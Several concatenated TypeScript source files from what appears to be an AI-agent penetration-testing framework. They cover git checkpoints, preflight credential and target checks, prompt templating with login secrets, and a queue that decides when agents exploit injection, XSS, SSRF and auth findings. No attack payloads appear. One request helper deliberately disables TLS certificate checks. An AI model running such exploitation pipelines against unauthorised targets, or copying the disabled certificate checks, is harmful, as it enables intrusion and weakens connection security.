if (!(await isGitRepository(sourceDir))) {
logger.info('Skipping git checkpoint (not a git repository)');
return { success: true };
}
logger.info(`Creating checkpoint for ${description} (attempt ${attempt})`);
try {
// 1. On retries, clean workspace to prevent pollution from previous attempt
if (attempt > 1) {
const cleanResult = await rollbackGitWorkspace(sourceDir, `${description} (retry cleanup)`, logger);
if (!cleanResult.success) {
logger.warn(`Workspace cleanup failed, continuing anyway: ${cleanResult.error?.message}`);
}
}
// 2. Detect existing changes
const changes = await getChangedFiles(sourceDir, 'status check');
const hasChanges = changes.length > 0;
// 3. Stage and commit checkpoint
await executeGitCommandWithRetry(['git', 'add', '-A'], sourceDir, 'staging changes');
await executeGitCommandWithRetry(
['git', 'commit', '-m', `📍 Checkpoint: ${description} (attempt ${attempt})`, '--allow-empty'],
sourceDir,
'creating commit',
);
// 4. Log result
if (hasChanges) {
logger.info('Checkpoint created with uncommitted changes staged');
} else {
logger.info('Empty checkpoint created (no workspace changes)');
}
return { success: true };
} catch (error) {
const result = toErrorResult(error);
logger.warn(`Checkpoint creation failed after retries: ${result.error?.message}`);
return result;
}
}
export async function commitGitSuccess(
sourceDir: string,
description: string,
logger: ActivityLogger,
): Promise<GitOperationResult> {
// Skip git operations if not a git repository
if (!(await isGitRepository(sourceDir))) {
logger.info('Skipping git commit (not a git repository)');
return { success: true };
}
logger.info(`Committing successful results for ${description}`);
try {
const changes = await getChangedFiles(sourceDir, 'status check for success commit');
await executeGitCommandWithRetry(['git', 'add', '-A'], sourceDir, 'staging changes for success commit');
await executeGitCommandWithRetry(
['git', 'commit', '-m', `${description}: completed successfully`, '--allow-empty'],
sourceDir,
'creating success commit',
);
logChangeSummary(
changes,
'Success commit created with {count} file changes:',
'Empty success commit created (agent made no file changes)',
logger,
);
return { success: true };
} catch (error) {
const result = toErrorResult(error);
logger.warn(`Success commit failed after retries: ${result.error?.message}`);
return result;
}
}
/**
* Get current git commit hash.
* Returns null if not a git repository.
*/
export async function getGitCommitHash(sourceDir: string): Promise<string | null> {
if (!(await isGitRepository(sourceDir))) {
return null;
}
try {
const result = await $`cd ${sourceDir} && git rev-parse HEAD`;
return result.stdout.trim();
} catch {
return null;
}
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Services Module
*
* Exports DI container and service classes for Shannon agent execution.
* Services are pure domain logic with no Temporal dependencies.
*/
export type { AgentExecutionInput } from './agent-execution.js';
export { AgentExecutionService } from './agent-execution.js';
export { ConfigLoaderService } from './config-loader.js';
export type { ContainerDependencies } from './container.js';
export { Container, getOrCreateContainer, removeContainer } from './container.js';
export { ExploitationCheckerService } from './exploitation-checker.js';
export { loadPrompt } from './prompt-manager.js';
export { assembleFinalReport, injectModelIntoReport } from './reporting.js';
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Preflight Validation Service
*
* Runs cheap, fast checks before any agent execution begins.
* Catches configuration and credential problems early, saving
* time and API costs compared to failing mid-pipeline.
*
* Checks run sequentially, cheapest first:
* 1. Repository path exists and contains .git
* 2. Config file parses and validates (if provided)
* 3. Credentials validate via Claude Agent SDK query (API key, OAuth, Bedrock, Vertex AI, or router mode)
* 4. Target URL is reachable from the container (DNS + HTTP)
*/
import { lookup } from 'node:dns/promises';
import fs from 'node:fs/promises';
import http from 'node:http';
import https from 'node:https';
import type { SDKAssistantMessageError } from '@anthropic-ai/claude-agent-sdk';
import { query } from '@anthropic-ai/claude-agent-sdk';
import { resolveModel } from '../ai/models.js';
import { parseConfig } from '../config-parser.js';
import type { ActivityLogger } from '../types/activity-logger.js';
import { ErrorCode } from '../types/errors.js';
import { err, ok, type Result } from '../types/result.js';
import { isRetryableError, PentestError } from './error-handling.js';
const TARGET_URL_TIMEOUT_MS = 10_000;
function isLoopbackAddress(address: string): boolean {
return address === '127.0.0.1' || address === '::1' || address === '0.0.0.0';
}
// === Repository Validation ===
async function validateRepo(repoPath: string, logger: ActivityLogger): Promise<Result<void, PentestError>> {
logger.info('Checking repository path...', { repoPath });
// 1. Check repo directory exists
try {
const stats = await fs.stat(repoPath);
if (!stats.isDirectory()) {
return err(
new PentestError(
`Repository path is not a directory: ${repoPath}`,
'config',
false,
{ repoPath },
ErrorCode.REPO_NOT_FOUND,
),
);
}
} catch {
return err(
new PentestError(
`Repository path does not exist: ${repoPath}`,
'config',
false,
{ repoPath },
ErrorCode.REPO_NOT_FOUND,
),
);
}
// 2. Check .git directory exists
try {
const gitStats = await fs.stat(`${repoPath}/.git`);
if (!gitStats.isDirectory()) {
return err(
new PentestError(
`Not a git repository (no .git directory): ${repoPath}`,
'config',
false,
{ repoPath },
ErrorCode.REPO_NOT_FOUND,
),
);
}
} catch {
return err(
new PentestError(
`Not a git repository (no .git directory): ${repoPath}`,
'config',
false,
{ repoPath },
ErrorCode.REPO_NOT_FOUND,
),
);
}
logger.info('Repository path OK');
return ok(undefined);
}
// === Config Validation ===
async function validateConfig(configPath: string, logger: ActivityLogger): Promise<Result<void, PentestError>> {
logger.info('Validating configuration file...', { configPath });
try {
await parseConfig(configPath);
logger.info('Configuration file OK');
return ok(undefined);
} catch (error) {
if (error instanceof PentestError) {
return err(error);
}
const message = error instanceof Error ? error.message : String(error);
return err(
new PentestError(
`Configuration validation failed: ${message}`,
'config',
false,
{ configPath },
ErrorCode.CONFIG_VALIDATION_FAILED,
),
);
}
}
// === Credential Validation ===
/** Map SDK error type to a human-readable preflight PentestError. */
function classifySdkError(sdkError: SDKAssistantMessageError, authType: string): Result<void, PentestError> {
switch (sdkError) {
case 'authentication_failed':
return err(
new PentestError(
`Invalid ${authType}. Check your credentials in .env and try again.`,
'config',
false,
{ authType, sdkError },
ErrorCode.AUTH_FAILED,
),
);
case 'billing_error':
return err(
new PentestError(
`Anthropic account has a billing issue. Add credits or check your billing dashboard.`,
'billing',
true,
{ authType, sdkError },
ErrorCode.BILLING_ERROR,
),
);
case 'rate_limit':
return err(
new PentestError(
`Anthropic rate limit or spending cap reached. Wait a few minutes and try again.`,
'billing',
true,
{ authType, sdkError },
ErrorCode.BILLING_ERROR,
),
);
case 'server_error':
return err(
new PentestError(`Anthropic API is temporarily unavailable. Try again shortly.`, 'network', true, {
authType,
sdkError,
}),
);
default:
return err(
new PentestError(
`${authType} validation failed unexpectedly. Check your credentials in .env.`,
'config',
false,
{ authType, sdkError },
ErrorCode.AUTH_FAILED,
),
);
}
}
/** Validate credentials via a minimal Claude Agent SDK query. */
async function validateCredentials(logger: ActivityLogger): Promise<Result<void, PentestError>> {
// 1. Custom base URL — validate endpoint is reachable via SDK query
if (process.env.ANTHROPIC_BASE_URL) {
const baseUrl = process.env.ANTHROPIC_BASE_URL;
logger.info(`Validating custom base URL: ${baseUrl}`);
try {
for await (const message of query({ prompt: 'hi', options: { model: resolveModel('small'), maxTurns: 1 } })) {
if (message.type === 'assistant' && message.error) {
return classifySdkError(message.error, `custom endpoint (${baseUrl})`);
}
if (message.type === 'result') {
break;
}
}
logger.info('Custom base URL OK');
return ok(undefined);
} catch (error) {
const message = error instanceof Error ? error.message : String(error);
return err(
new PentestError(
`Custom base URL unreachable: ${baseUrl}${message}`,
'network',
false,
{ baseUrl },
ErrorCode.AUTH_FAILED,
),
);
}
}
// 2. Bedrock mode — validate required AWS credentials are present
if (process.env.CLAUDE_CODE_USE_BEDROCK === '1') {
const required = [
'AWS_REGION',
'AWS_BEARER_TOKEN_BEDROCK',
'ANTHROPIC_SMALL_MODEL',
'ANTHROPIC_MEDIUM_MODEL',
'ANTHROPIC_LARGE_MODEL',
];
const missing = required.filter((v) => !process.env[v]);
if (missing.length > 0) {
return err(
new PentestError(
`Bedrock mode requires the following env vars in .env: ${missing.join(', ')}`,
'config',
false,
{ missing },
ErrorCode.AUTH_FAILED,
),
);
}
logger.info('Bedrock credentials OK');
return ok(undefined);
}
// 3. Vertex AI mode — validate required GCP credentials are present
if (process.env.CLAUDE_CODE_USE_VERTEX === '1') {
const required = [
'CLOUD_ML_REGION',
'ANTHROPIC_VERTEX_PROJECT_ID',
'ANTHROPIC_SMALL_MODEL',
'ANTHROPIC_MEDIUM_MODEL',
'ANTHROPIC_LARGE_MODEL',
];
const missing = required.filter((v) => !process.env[v]);
if (missing.length > 0) {
return err(
new PentestError(
`Vertex AI mode requires the following env vars in .env: ${missing.join(', ')}`,
'config',
false,
{ missing },
ErrorCode.AUTH_FAILED,
),
);
}
// Validate service account credentials file is accessible
const credPath = process.env.GOOGLE_APPLICATION_CREDENTIALS;
if (!credPath) {
return err(
new PentestError(
'Vertex AI mode requires GOOGLE_APPLICATION_CREDENTIALS pointing to a service account key JSON file',
'config',
false,
{},
ErrorCode.AUTH_FAILED,
),
);
}
try {
await fs.access(credPath);
} catch {
return err(
new PentestError(
`Service account key file not found at: ${credPath}`,
'config',
false,
{ credPath },
ErrorCode.AUTH_FAILED,
),
);
}
logger.info('Vertex AI credentials OK');
return ok(undefined);
}
// 4. Check that at least one credential is present
if (!process.env.ANTHROPIC_API_KEY && !process.env.CLAUDE_CODE_OAUTH_TOKEN) {
return err(
new PentestError(
'No API credentials found. Set ANTHROPIC_API_KEY or CLAUDE_CODE_OAUTH_TOKEN in .env (or use CLAUDE_CODE_USE_BEDROCK=1 for AWS Bedrock, or CLAUDE_CODE_USE_VERTEX=1 for Google Vertex AI)',
'config',
false,
{},
ErrorCode.AUTH_FAILED,
),
);
}
// 5. Validate via SDK query
const authType = process.env.CLAUDE_CODE_OAUTH_TOKEN ? 'OAuth token' : 'API key';
logger.info(`Validating ${authType} via SDK...`);
try {
for await (const message of query({ prompt: 'hi', options: { model: resolveModel('small'), maxTurns: 1 } })) {
if (message.type === 'assistant' && message.error) {
return classifySdkError(message.error, authType);
}
if (message.type === 'result') {
break;
}
}
logger.info(`${authType} OK`);
return ok(undefined);
} catch (error) {
const message = error instanceof Error ? error.message : String(error);
const retryable = isRetryableError(error instanceof Error ? error : new Error(message));
return err(
new PentestError(
retryable
? `Failed to reach Anthropic API. Check your network connection.`
: `${authType} validation failed: ${message}`,
retryable ? 'network' : 'config',
retryable,
{ authType },
retryable ? undefined : ErrorCode.AUTH_FAILED,
),
);
}
}
// === Target URL Validation ===
/** HTTP HEAD with TLS verification disabled — we check reachability, not certificate validity. */
function httpHead(url: string, timeoutMs: number): Promise<number> {
return new Promise((resolve, reject) => {
const parsed = new URL(url);
const isHttps = parsed.protocol === 'https:';
const transport = isHttps ? https : http;
const req = transport.request(
url,
{
method: 'HEAD',
timeout: timeoutMs,
...(isHttps && { rejectUnauthorized: false }),
},
(res) => {
res.resume();
resolve(res.statusCode ?? 0);
},
);
req.on('timeout', () => {
req.destroy();
reject(new Error(`Connection timed out after ${timeoutMs}ms`));
});
req.on('error', reject);
req.end();
});
}
/** Check that the target URL is reachable from inside the container. */
async function validateTargetUrl(targetUrl: string, logger: ActivityLogger): Promise<Result<void, PentestError>> {
logger.info('Checking target URL reachability...', { targetUrl });
// 1. Parse URL
let parsed: URL;
try {
parsed = new URL(targetUrl);
} catch {
return err(
new PentestError(
`Invalid target URL: ${targetUrl}`,
'config',
false,
{ targetUrl },
ErrorCode.TARGET_UNREACHABLE,
),
);
}
// 2. DNS lookup — detect loopback addresses early for a better hint
const hostname = parsed.hostname;
let resolvedAddress: string | undefined;
try {
const result = await lookup(hostname);
resolvedAddress = result.address;
} catch {
return err(
new PentestError(
`Target URL ${targetUrl} is not reachable. Verify the URL is correct and the site is up.`,
'network',
false,
{ targetUrl, hostname },
ErrorCode.TARGET_UNREACHABLE,
),
);
}
// 3. HTTP reachability check
try {
await httpHead(targetUrl, TARGET_URL_TIMEOUT_MS);
logger.info('Target URL OK');
return ok(undefined);
} catch (error) {
const isLoopback = isLoopbackAddress(resolvedAddress);
const detail = error instanceof Error ? error.message : String(error);
if (isLoopback) {
const suggestion = targetUrl.replace(hostname, 'host.docker.internal');
return err(
new PentestError(
`Target URL ${targetUrl} resolves to ${resolvedAddress} (loopback) and is not reachable. ` +
`For local services, use host.docker.internal instead of ${hostname} (e.g., ${suggestion})`,
'network',
false,
{ targetUrl, resolvedAddress, hostname },
ErrorCode.TARGET_UNREACHABLE,
),
);
}
return err(
new PentestError(
`Target URL ${targetUrl} is not reachable: ${detail}`,
'network',
false,
{ targetUrl, resolvedAddress },
ErrorCode.TARGET_UNREACHABLE,
),
);
}
}
// === Preflight Orchestrator ===
/**
* Run all preflight checks sequentially (cheapest first).
*
* 1. Repository path exists and contains .git
* 2. Config file parses and validates (if configPath provided)
* 3. Credentials validate (API key, OAuth, or router mode)
* 4. Target URL is reachable from the container
*
* Returns on first failure.
*/
export async function runPreflightChecks(
targetUrl: string,
repoPath: string,
configPath: string | undefined,
logger: ActivityLogger,
): Promise<Result<void, PentestError>> {
// 1. Repository check (free — filesystem only)
const repoResult = await validateRepo(repoPath, logger);
if (!repoResult.ok) {
return repoResult;
}
// 2. Config check (free — filesystem + CPU)
if (configPath) {
const configResult = await validateConfig(configPath, logger);
if (!configResult.ok) {
return configResult;
}
}
// 3. Credential check (cheap — 1 SDK round-trip)
const credResult = await validateCredentials(logger);
if (!credResult.ok) {
return credResult;
}
// 4. Target URL reachability check (cheap — 1 HTTP round-trip)
const urlResult = await validateTargetUrl(targetUrl, logger);
if (!urlResult.ok) {
return urlResult;
}
logger.info('All preflight checks passed');
return ok(undefined);
}
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@@ -0,0 +1,267 @@
// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
import { fs, path } from 'zx';
import { PROMPTS_DIR } from '../paths.js';
import { PLAYWRIGHT_SESSION_MAPPING } from '../session-manager.js';
import type { ActivityLogger } from '../types/activity-logger.js';
import type { Authentication, DistributedConfig } from '../types/config.js';
import { handlePromptError, PentestError } from './error-handling.js';
interface PromptVariables {
webUrl: string;
repoPath: string;
PLAYWRIGHT_SESSION?: string;
}
interface IncludeReplacement {
placeholder: string;
content: string;
}
// Pure function: Build complete login instructions from config
async function buildLoginInstructions(authentication: Authentication, logger: ActivityLogger): Promise<string> {
try {
// 1. Load the login instructions template
const loginInstructionsPath = path.join(PROMPTS_DIR, 'shared', 'login-instructions.txt');
if (!(await fs.pathExists(loginInstructionsPath))) {
throw new PentestError('Login instructions template not found', 'filesystem', false, { loginInstructionsPath });
}
const fullTemplate = await fs.readFile(loginInstructionsPath, 'utf8');
const getSection = (content: string, sectionName: string): string => {
const regex = new RegExp(`<!-- BEGIN:${sectionName} -->([\\s\\S]*?)<!-- END:${sectionName} -->`, 'g');
const match = regex.exec(content);
return match?.[1]?.trim() ?? '';
};
// 2. Extract sections based on login type
const loginType = authentication.login_type?.toUpperCase();
let loginInstructions = '';
const commonSection = getSection(fullTemplate, 'COMMON');
const authSection = loginType ? getSection(fullTemplate, loginType) : ''; // FORM or SSO
const verificationSection = getSection(fullTemplate, 'VERIFICATION');
// 3. Assemble instructions from sections (fallback to full template if markers missing)
if (!commonSection && !authSection && !verificationSection) {
logger.warn('Section markers not found, using full login instructions template');
loginInstructions = fullTemplate;
} else {
loginInstructions = [commonSection, authSection, verificationSection].filter((section) => section).join('\n\n');
}
// 4. Interpolate login flow and credential placeholders
let userInstructions = (authentication.login_flow ?? []).join('\n');
if (authentication.credentials) {
if (authentication.credentials.username) {
userInstructions = userInstructions.replace(/\$username/g, authentication.credentials.username);
}
if (authentication.credentials.password) {
userInstructions = userInstructions.replace(/\$password/g, authentication.credentials.password);
}
if (authentication.credentials.totp_secret) {
userInstructions = userInstructions.replace(
/\$totp/g,
`generated TOTP code using secret "${authentication.credentials.totp_secret}"`,
);
}
}
loginInstructions = loginInstructions.replace(/{{user_instructions}}/g, userInstructions);
// 5. Replace TOTP secret placeholder if present in template
if (authentication.credentials?.totp_secret) {
loginInstructions = loginInstructions.replace(/{{totp_secret}}/g, authentication.credentials.totp_secret);
}
return loginInstructions;
} catch (error) {
if (error instanceof PentestError) {
throw error;
}
const errMsg = error instanceof Error ? error.message : String(error);
throw new PentestError(`Failed to build login instructions: ${errMsg}`, 'config', false, {
authentication,
originalError: errMsg,
});
}
}
// Pure function: Process @include() directives
async function processIncludes(content: string, baseDir: string): Promise<string> {
const includeRegex = /@include\(([^)]+)\)/g;
const resolvedBase = path.resolve(baseDir);
const replacements: IncludeReplacement[] = await Promise.all(
Array.from(content.matchAll(includeRegex)).map(async (match) => {
const rawPath = match[1] ?? '';
const includePath = path.resolve(baseDir, rawPath);
if (!includePath.startsWith(resolvedBase + path.sep) && includePath !== resolvedBase) {
throw new PentestError(`Path traversal detected in @include(): ${rawPath}`, 'prompt', false, {
includePath,
baseDir: resolvedBase,
});
}
const sharedContent = await fs.readFile(includePath, 'utf8');
return {
placeholder: match[0],
content: sharedContent,
};
}),
);
for (const replacement of replacements) {
content = content.replace(replacement.placeholder, replacement.content);
}
return content;
}
function buildAuthContext(config: DistributedConfig | null): string {
if (!config?.authentication) {
return 'No authentication configured - unauthenticated testing only';
}
const auth = config.authentication;
const lines = [
`- Login type: ${auth.login_type.toUpperCase()}`,
`- Username: ${auth.credentials.username}`,
`- Login URL: ${auth.login_url}`,
];
if (auth.credentials?.totp_secret) {
lines.push('- MFA: TOTP enabled');
}
return lines.join('\n');
}
// Pure function: Variable interpolation
async function interpolateVariables(
template: string,
variables: PromptVariables,
config: DistributedConfig | null = null,
logger: ActivityLogger,
): Promise<string> {
try {
if (!template || typeof template !== 'string') {
throw new PentestError('Template must be a non-empty string', 'validation', false, {
templateType: typeof template,
templateLength: template?.length,
});
}
if (!variables || !variables.webUrl || !variables.repoPath) {
throw new PentestError('Variables must include webUrl and repoPath', 'validation', false, {
variables: Object.keys(variables || {}),
});
}
let result = template
.replace(/{{WEB_URL}}/g, variables.webUrl)
.replace(/{{REPO_PATH}}/g, variables.repoPath)
.replace(/{{PLAYWRIGHT_SESSION}}/g, variables.PLAYWRIGHT_SESSION || 'agent1')
.replace(/{{AUTH_CONTEXT}}/g, buildAuthContext(config))
.replace(/{{DESCRIPTION}}/g, config?.description ? `Description: ${config.description}` : '');
if (config) {
// Handle rules section - if both are empty, use cleaner messaging
const hasAvoidRules = config.avoid && config.avoid.length > 0;
const hasFocusRules = config.focus && config.focus.length > 0;
if (!hasAvoidRules && !hasFocusRules) {
// Replace the entire rules section with a clean message
const cleanRulesSection = '<rules>\nNo specific rules or focus areas provided for this test.\n</rules>';
result = result.replace(/<rules>[\s\S]*?<\/rules>/g, cleanRulesSection);
} else {
const avoidRules = hasAvoidRules ? config.avoid?.map((r) => `- ${r.description}`).join('\n') : 'None';
const focusRules = hasFocusRules ? config.focus?.map((r) => `- ${r.description}`).join('\n') : 'None';
result = result.replace(/{{RULES_AVOID}}/g, avoidRules).replace(/{{RULES_FOCUS}}/g, focusRules);
}
// Extract and inject login instructions from config
if (config.authentication?.login_flow) {
const loginInstructions = await buildLoginInstructions(config.authentication, logger);
result = result.replace(/{{LOGIN_INSTRUCTIONS}}/g, loginInstructions);
} else {
result = result.replace(/{{LOGIN_INSTRUCTIONS}}/g, '');
}
} else {
// Replace the entire rules section with a clean message when no config provided
const cleanRulesSection = '<rules>\nNo specific rules or focus areas provided for this test.\n</rules>';
result = result.replace(/<rules>[\s\S]*?<\/rules>/g, cleanRulesSection);
result = result.replace(/{{LOGIN_INSTRUCTIONS}}/g, '');
}
// Validate that all placeholders have been replaced (excluding instructional text)
const remainingPlaceholders = result.match(/\{\{[^}]+\}\}/g);
if (remainingPlaceholders) {
logger.warn(`Found unresolved placeholders in prompt: ${remainingPlaceholders.join(', ')}`);
}
return result;
} catch (error) {
if (error instanceof PentestError) {
throw error;
}
const errMsg = error instanceof Error ? error.message : String(error);
throw new PentestError(`Variable interpolation failed: ${errMsg}`, 'prompt', false, { originalError: errMsg });
}
}
// Pure function: Load and interpolate prompt template
export async function loadPrompt(
promptName: string,
variables: PromptVariables,
config: DistributedConfig | null = null,
pipelineTestingMode: boolean = false,
logger: ActivityLogger,
): Promise<string> {
try {
// 1. Resolve prompt file path
const promptsDir = pipelineTestingMode ? path.join(PROMPTS_DIR, 'pipeline-testing') : PROMPTS_DIR;
const promptPath = path.join(promptsDir, `${promptName}.txt`);
if (pipelineTestingMode) {
logger.info(`Using pipeline testing prompt: ${promptPath}`);
}
if (!(await fs.pathExists(promptPath))) {
throw new PentestError(`Prompt file not found: ${promptPath}`, 'prompt', false, { promptName, promptPath });
}
// 2. Assign Playwright session based on agent name
const enhancedVariables: PromptVariables = { ...variables };
const session = PLAYWRIGHT_SESSION_MAPPING[promptName as keyof typeof PLAYWRIGHT_SESSION_MAPPING];
if (session) {
enhancedVariables.PLAYWRIGHT_SESSION = session;
logger.info(`Assigned ${promptName} -> ${enhancedVariables.PLAYWRIGHT_SESSION}`);
} else {
enhancedVariables.PLAYWRIGHT_SESSION = 'agent1';
logger.warn(`Unknown agent ${promptName}, using fallback -> ${enhancedVariables.PLAYWRIGHT_SESSION}`);
}
// 3. Read template file
let template = await fs.readFile(promptPath, 'utf8');
// 4. Process @include directives
template = await processIncludes(template, promptsDir);
// 5. Interpolate variables and return final prompt
return await interpolateVariables(template, enhancedVariables, config, logger);
} catch (error) {
if (error instanceof PentestError) {
throw error;
}
const promptError = handlePromptError(promptName, error as Error);
throw promptError.error;
}
}
@@ -0,0 +1,307 @@
// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
import { fs, path } from 'zx';
import type { ExploitationDecision, VulnType } from '../types/agents.js';
import { ErrorCode } from '../types/errors.js';
import { err, ok, type Result } from '../types/result.js';
import { asyncPipe } from '../utils/functional.js';
import { PentestError } from './error-handling.js';
export type { ExploitationDecision, VulnType } from '../types/agents.js';
interface VulnTypeConfigItem {
deliverable: string;
queue: string;
}
type VulnTypeConfig = Record<VulnType, VulnTypeConfigItem>;
type ErrorMessageResolver = string | ((existence: FileExistence) => string);
interface ValidationRule {
predicate: (existence: FileExistence) => boolean;
errorMessage: ErrorMessageResolver;
retryable: boolean;
}
interface FileExistence {
deliverableExists: boolean;
queueExists: boolean;
}
interface PathsBase {
vulnType: VulnType;
deliverable: string;
queue: string;
sourceDir: string;
}
interface PathsWithExistence extends PathsBase {
existence: FileExistence;
}
interface PathsWithQueue extends PathsWithExistence {
queueData: QueueData;
}
interface PathsWithError {
error: PentestError;
}
interface QueueData {
vulnerabilities: unknown[];
[key: string]: unknown;
}
interface QueueValidationResult {
valid: boolean;
data: QueueData | null;
error: string | null;
}
/**
* Result type for safe validation - explicit error handling.
*/
export type SafeValidationResult = Result<ExploitationDecision, PentestError>;
// Vulnerability type configuration as immutable data
const VULN_TYPE_CONFIG: VulnTypeConfig = Object.freeze({
injection: Object.freeze({
deliverable: 'injection_analysis_deliverable.md',
queue: 'injection_exploitation_queue.json',
}),
xss: Object.freeze({
deliverable: 'xss_analysis_deliverable.md',
queue: 'xss_exploitation_queue.json',
}),
auth: Object.freeze({
deliverable: 'auth_analysis_deliverable.md',
queue: 'auth_exploitation_queue.json',
}),
ssrf: Object.freeze({
deliverable: 'ssrf_analysis_deliverable.md',
queue: 'ssrf_exploitation_queue.json',
}),
authz: Object.freeze({
deliverable: 'authz_analysis_deliverable.md',
queue: 'authz_exploitation_queue.json',
}),
}) as VulnTypeConfig;
// Pure function to create validation rule
function createValidationRule(
predicate: (existence: FileExistence) => boolean,
errorMessage: ErrorMessageResolver,
retryable: boolean = true,
): ValidationRule {
return Object.freeze({ predicate, errorMessage, retryable });
}
// Symmetric deliverable rules: queue and deliverable must exist together (prevents partial analysis from triggering exploitation)
const fileExistenceRules: readonly ValidationRule[] = Object.freeze([
createValidationRule(
({ deliverableExists, queueExists }) => deliverableExists && queueExists,
getExistenceErrorMessage,
),
]);
// Generate appropriate error message based on which files are missing
function getExistenceErrorMessage(existence: FileExistence): string {
const { deliverableExists, queueExists } = existence;
if (!deliverableExists && !queueExists) {
return 'Analysis failed: Neither deliverable nor queue file exists. Analysis agent must create both files.';
}
if (!queueExists) {
return 'Analysis incomplete: Deliverable exists but queue file missing. Analysis agent must create both files.';
}
return 'Analysis incomplete: Queue exists but deliverable file missing. Analysis agent must create both files.';
}
// Pure function to create file paths
const createPaths = (vulnType: VulnType, sourceDir: string): PathsBase | PathsWithError => {
const config = VULN_TYPE_CONFIG[vulnType];
if (!config) {
return {
error: new PentestError(`Unknown vulnerability type: ${vulnType}`, 'validation', false, { vulnType }),
};
}
return Object.freeze({
vulnType,
deliverable: path.join(sourceDir, 'deliverables', config.deliverable),
queue: path.join(sourceDir, 'deliverables', config.queue),
sourceDir,
});
};
// Pure function to check file existence
const checkFileExistence = async (paths: PathsBase | PathsWithError): Promise<PathsWithExistence | PathsWithError> => {
if ('error' in paths) return paths;
const [deliverableExists, queueExists] = await Promise.all([
fs.pathExists(paths.deliverable),
fs.pathExists(paths.queue),
]);
return Object.freeze({
...paths,
existence: Object.freeze({ deliverableExists, queueExists }),
});
};
// Validates deliverable/queue symmetry - both must exist or neither
const validateExistenceRules = (
pathsWithExistence: PathsWithExistence | PathsWithError,
): PathsWithExistence | PathsWithError => {
if ('error' in pathsWithExistence) return pathsWithExistence;
const { existence, vulnType } = pathsWithExistence;
// Find the first rule that fails
const failedRule = fileExistenceRules.find((rule) => !rule.predicate(existence));
if (failedRule) {
const message =
typeof failedRule.errorMessage === 'function' ? failedRule.errorMessage(existence) : failedRule.errorMessage;
return {
error: new PentestError(
`${message} (${vulnType})`,
'validation',
failedRule.retryable,
{
vulnType,
deliverablePath: pathsWithExistence.deliverable,
queuePath: pathsWithExistence.queue,
existence,
},
ErrorCode.DELIVERABLE_NOT_FOUND,
),
};
}
return pathsWithExistence;
};
// Pure function to validate queue structure
const validateQueueStructure = (content: string): QueueValidationResult => {
try {
const parsed = JSON.parse(content) as unknown;
const isValid =
typeof parsed === 'object' &&
parsed !== null &&
'vulnerabilities' in parsed &&
Array.isArray((parsed as QueueData).vulnerabilities);
return Object.freeze({
valid: isValid,
data: isValid ? (parsed as QueueData) : null,
error: null,
});
} catch (parseError) {
return Object.freeze({
valid: false,
data: null,
error: parseError instanceof Error ? parseError.message : String(parseError),
});
}
};
// Queue parse failures are retryable - agent can fix malformed JSON on retry
const validateQueueContent = async (
pathsWithExistence: PathsWithExistence | PathsWithError,
): Promise<PathsWithQueue | PathsWithError> => {
if ('error' in pathsWithExistence) return pathsWithExistence;
try {
const queueContent = await fs.readFile(pathsWithExistence.queue, 'utf8');
const queueValidation = validateQueueStructure(queueContent);
if (!queueValidation.valid) {
// Rule 6: Both exist, queue invalid
return {
error: new PentestError(
queueValidation.error
? `Queue validation failed for ${pathsWithExistence.vulnType}: Invalid JSON structure. Analysis agent must fix queue format.`
: `Queue validation failed for ${pathsWithExistence.vulnType}: Missing or invalid 'vulnerabilities' array. Analysis agent must fix queue structure.`,
'validation',
true, // retryable
{
vulnType: pathsWithExistence.vulnType,
queuePath: pathsWithExistence.queue,
originalError: queueValidation.error,
queueStructure: queueValidation.data ? Object.keys(queueValidation.data) : [],
},
),
};
}
return Object.freeze({
...pathsWithExistence,
queueData: queueValidation.data as QueueData,
});
} catch (readError) {
return {
error: new PentestError(
`Failed to read queue file for ${pathsWithExistence.vulnType}: ${readError instanceof Error ? readError.message : String(readError)}`,
'filesystem',
false,
{
vulnType: pathsWithExistence.vulnType,
queuePath: pathsWithExistence.queue,
originalError: readError instanceof Error ? readError.message : String(readError),
},
),
};
}
};
// Final decision: skip if queue says no vulns, proceed if vulns found, error otherwise
const determineExploitationDecision = (validatedData: PathsWithQueue | PathsWithError): ExploitationDecision => {
if ('error' in validatedData) {
throw validatedData.error;
}
const hasVulnerabilities = validatedData.queueData.vulnerabilities.length > 0;
// Rule 4: Both exist, queue valid and populated
// Rule 5: Both exist, queue valid but empty
return Object.freeze({
shouldExploit: hasVulnerabilities,
shouldRetry: false,
vulnerabilityCount: validatedData.queueData.vulnerabilities.length,
vulnType: validatedData.vulnType,
});
};
// Main functional validation pipeline
export async function validateQueueAndDeliverable(
vulnType: VulnType,
sourceDir: string,
): Promise<ExploitationDecision> {
return asyncPipe<ExploitationDecision>(
createPaths(vulnType, sourceDir),
checkFileExistence,
validateExistenceRules,
validateQueueContent,
determineExploitationDecision,
);
}
/**
* Safely validate queue and deliverable files.
* Returns Result<ExploitationDecision, PentestError> for explicit error handling.
*/
export async function validateQueueSafe(vulnType: VulnType, sourceDir: string): Promise<SafeValidationResult> {
try {
const result = await validateQueueAndDeliverable(vulnType, sourceDir);
return ok(result);
} catch (error) {
return err(error as PentestError);
}
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
import { fs, path } from 'zx';
import type { ActivityLogger } from '../types/activity-logger.js';
import { ErrorCode } from '../types/errors.js';
import { PentestError } from './error-handling.js';
interface DeliverableFile {
name: string;
path: string;
required: boolean;
}
// Pure function: Assemble final report from specialist deliverables
export async function assembleFinalReport(sourceDir: string, logger: ActivityLogger): Promise<string> {
const deliverableFiles: DeliverableFile[] = [
{ name: 'Injection', path: 'injection_exploitation_evidence.md', required: false },
{ name: 'XSS', path: 'xss_exploitation_evidence.md', required: false },
{ name: 'Authentication', path: 'auth_exploitation_evidence.md', required: false },
{ name: 'SSRF', path: 'ssrf_exploitation_evidence.md', required: false },
{ name: 'Authorization', path: 'authz_exploitation_evidence.md', required: false },
];
const sections: string[] = [];
for (const file of deliverableFiles) {
